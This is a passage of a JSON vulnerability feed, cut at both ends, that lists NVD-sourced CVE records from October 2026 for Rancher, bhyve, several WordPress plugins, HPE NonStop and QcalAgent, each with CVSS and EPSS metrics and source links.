CVE-2026-101290","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101290","type":"primary","publishedAt":"2026-10-15T09:17:14.727Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101290&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101290, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-22031","cveId":"CVE-2024-22031","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing...","summary":"A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing project in a different cluster. This results in the user gaining access to the other project in the different cluster, resulting in a privilege escalation. This happens because the namespace used on the local cluster to store related resources (PRTBs and secrets) is the name of the project.","detail":"A vulnerability has been identified within Rancher where a user with the ability to create a project, on a certain cluster, can create a project with the same name as an existing project in a different cluster. This results in the user gaining access to the other project in the different cluster, resulting in a privilege escalation. This happens because the namespace used on the local cluster to store related resources (PRTBs and secrets) is the name of the project.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:14.023Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-22031","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00435,"percentile":0.37481,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-22031&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-22031","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-22031","type":"primary","publishedAt":"2026-10-15T09:17:14.023Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-22031&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-22031, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2023-32198","cveId":"CVE-2023-32198","aliases":[],"kind":"vulnerability","title":"A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing...","summary":"A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing a TLS connection. This could allow the execution of a man-in-the-middle (MitM) attack against services using Steve.","detail":"A vulnerability has been identified in Steve where by default it was using an insecure option that did not validate the certificate presented by the remote server while performing a TLS connection. This could allow the execution of a man-in-the-middle (MitM) attack against services using Steve.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:13.847Z","updatedAt":"2026-10-16T19:55:59.740Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2023-32198","asOf":"2026-10-16T19:55:59.740Z"},"epss":{"probability":0.00329,"percentile":0.25757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2023-32198&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2023-32198","url":"https://nvd.nist.gov/vuln/detail/CVE-2023-32198","type":"primary","publishedAt":"2026-10-15T09:17:13.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2023-32198&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2023-32198, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101311","cveId":"CVE-2026-101311","aliases":[],"kind":"vulnerability","title":"The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.","summary":"The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.  Additionally, writes to the framebuffer BAR could set arbitrary width and height values without validation, and the framebuffer BAR I/O and RFB rendering threads were not synchronized.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.","detail":"The framebuffer device model's maximum resolution constants were duplicated between the framebuffer and RFB modules and had gotten out of sync.  Additionally, writes to the framebuffer BAR could set arbitrary width and height values without validation, and the framebuffer BAR I/O and RFB rendering threads were not synchronized.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.423Z","updatedAt":"2026-10-16T04:18:11.237Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101311","asOf":"2026-10-16T04:18:11.237Z"},"epss":{"probability":0.00117,"percentile":0.01668,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101311","type":"primary","publishedAt":"2026-10-15T08:16:36.423Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101310","cveId":"CVE-2026-101310","aliases":[],"kind":"vulnerability","title":"The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.","summary":"The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.  A zero-length entry caused an out-of-bounds read or write during DMA transfer processing.  BDL fields were also subject to modification by the guest after validation.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.","detail":"The HDA audio device model did not check for zero-length Buffer Descriptor List (BDL) entries when starting a stream.  A zero-length entry caused an out-of-bounds read or write during DMA transfer processing.  BDL fields were also subject to modification by the guest after validation.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.313Z","updatedAt":"2026-10-16T04:18:10.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101310","asOf":"2026-10-16T04:18:10.750Z"},"epss":{"probability":0.00117,"percentile":0.01669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101310&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101310","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101310","type":"primary","publishedAt":"2026-10-15T08:16:36.313Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101310&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101310, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101309","cveId":"CVE-2026-101309","aliases":[],"kind":"vulnerability","title":"The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.","summary":"The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.  The size was re-read from guest memory on each use, and Transfer Request Block (TRB) fields were loaded without protection against concurrent modification by the guest.  This race condition could be triggered by a guest running malicious, privileged code.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.","detail":"The xHCI (USB 3) device model did not validate or save the event ring size provided by the guest.  The size was re-read from guest memory on each use, and Transfer Request Block (TRB) fields were loaded without protection against concurrent modification by the guest.  This race condition could be triggered by a guest running malicious, privileged code.\n\nA malicious guest can crash the bhyve process or potentially execute arbitrary code in the host userspace context running the virtual machine, subject to bhyve's Capsicum sandbox.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T08:16:36.197Z","updatedAt":"2026-10-16T04:18:06.357Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101309","asOf":"2026-10-16T04:18:06.357Z"},"epss":{"probability":0.00117,"percentile":0.01669,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101309","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101309","type":"primary","publishedAt":"2026-10-15T08:16:36.197Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-96537","cveId":"CVE-2026-96537","aliases":[],"kind":"vulnerability","title":"The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish...","summary":"The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish unpublished pages and overwrite their content, create missing ones, and change the options that reference them.","detail":"The Tutor LMS  WordPress plugin before 4.1.1 does not perform a capability check in a routine that regenerates its managed pages, allowing unauthenticated users to force-publish unpublished pages and overwrite their content, create missing ones, and change the options that reference them.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:03.563Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-96537","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00208,"percentile":0.10846,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-96537&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-96537","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-96537","type":"primary","publishedAt":"2026-10-15T07:18:03.563Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-96537&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-96537, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-81534","cveId":"CVE-2026-81534","aliases":[],"kind":"vulnerability","title":"The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5.","summary":"The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the send_test_mail() function, which allows user-controlled PHP code to be written to executable files in the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary PHP code on the server, leading to full site compromise.","detail":"The Email Customizer for WooCommerce (Pro) plugin for WordPress is vulnerable to Remote Code Execution in versions up to, and including, 3.9.5. This is due to insufficient authorization and input sanitization in the send_test_mail() function, which allows user-controlled PHP code to be written to executable files in the uploads directory. This makes it possible for authenticated attackers, with subscriber-level access and above, to execute arbitrary PHP code on the server, leading to full site compromise.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:03.093Z","updatedAt":"2026-10-15T17:17:28.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-81534","asOf":"2026-10-15T17:17:28.920Z"},"epss":{"probability":0.00459,"percentile":0.39514,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-81534&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-81534","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-81534","type":"primary","publishedAt":"2026-10-15T07:18:03.093Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-81534&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-81534, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79822","cveId":"CVE-2026-79822","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.","summary":"A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.","detail":"A security vulnerability in HPE NonStop TNS/X Native Inspect may cause corruption of address and potentially redirect execution flow.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.980Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79822","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.0011,"percentile":0.01288,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79822","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79822","type":"primary","publishedAt":"2026-10-15T07:18:02.980Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79822, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79821","cveId":"CVE-2026-79821","aliases":[],"kind":"vulnerability","title":"A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.","summary":"A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.","detail":"A security vulnerability in HPE NonStop SOAP 4.0  may cause memory corruption resulting in a system down.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.853Z","updatedAt":"2026-10-15T16:23:06.250Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79821","asOf":"2026-10-15T16:23:06.250Z"},"epss":{"probability":0.00229,"percentile":0.13579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79821&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79821","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79821","type":"primary","publishedAt":"2026-10-15T07:18:02.853Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79821&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79821, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74920","cveId":"CVE-2026-74920","aliases":[],"kind":"vulnerability","title":"The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an...","summary":"The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an unauthenticated AJAX action, leading to a Reflected Cross-Site Scripting vulnerability which can be exploited against any visitor, including a logged-in administrator.","detail":"The Document Gallery WordPress plugin through 5.1.1 does not properly sanitise and escape user input before reflecting it inside an HTML attribute in the response of an unauthenticated AJAX action, leading to a Reflected Cross-Site Scripting vulnerability which can be exploited against any visitor, including a logged-in administrator.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:02.610Z","updatedAt":"2026-10-15T14:47:05.720Z","regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74920","asOf":"2026-10-15T14:47:05.720Z"},"epss":{"probability":0.00142,"percentile":0.03453,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74920&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74920","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74920","type":"primary","publishedAt":"2026-10-15T07:18:02.610Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74920&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74920, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41544","cveId":"CVE-2026-41544","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect QcalAgent.","summary":"A path traversal vulnerability has been reported to affect QcalAgent. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQcalAgent 1.1.10 and later","detail":"A path traversal vulnerability has been reported to affect QcalAgent. If a remote attacker gains a user account, they can then exploit the vulnerability to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQcalAgent 1.1.10 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T07:18:00.467Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41544","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00362,"percentile":0.297,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-41544&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41544","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41544","type":"primary","publishedAt":"2026-10-15T07:18:00.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-41544&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-41544, scored 2026-10-25. This is a model estimate, not proof 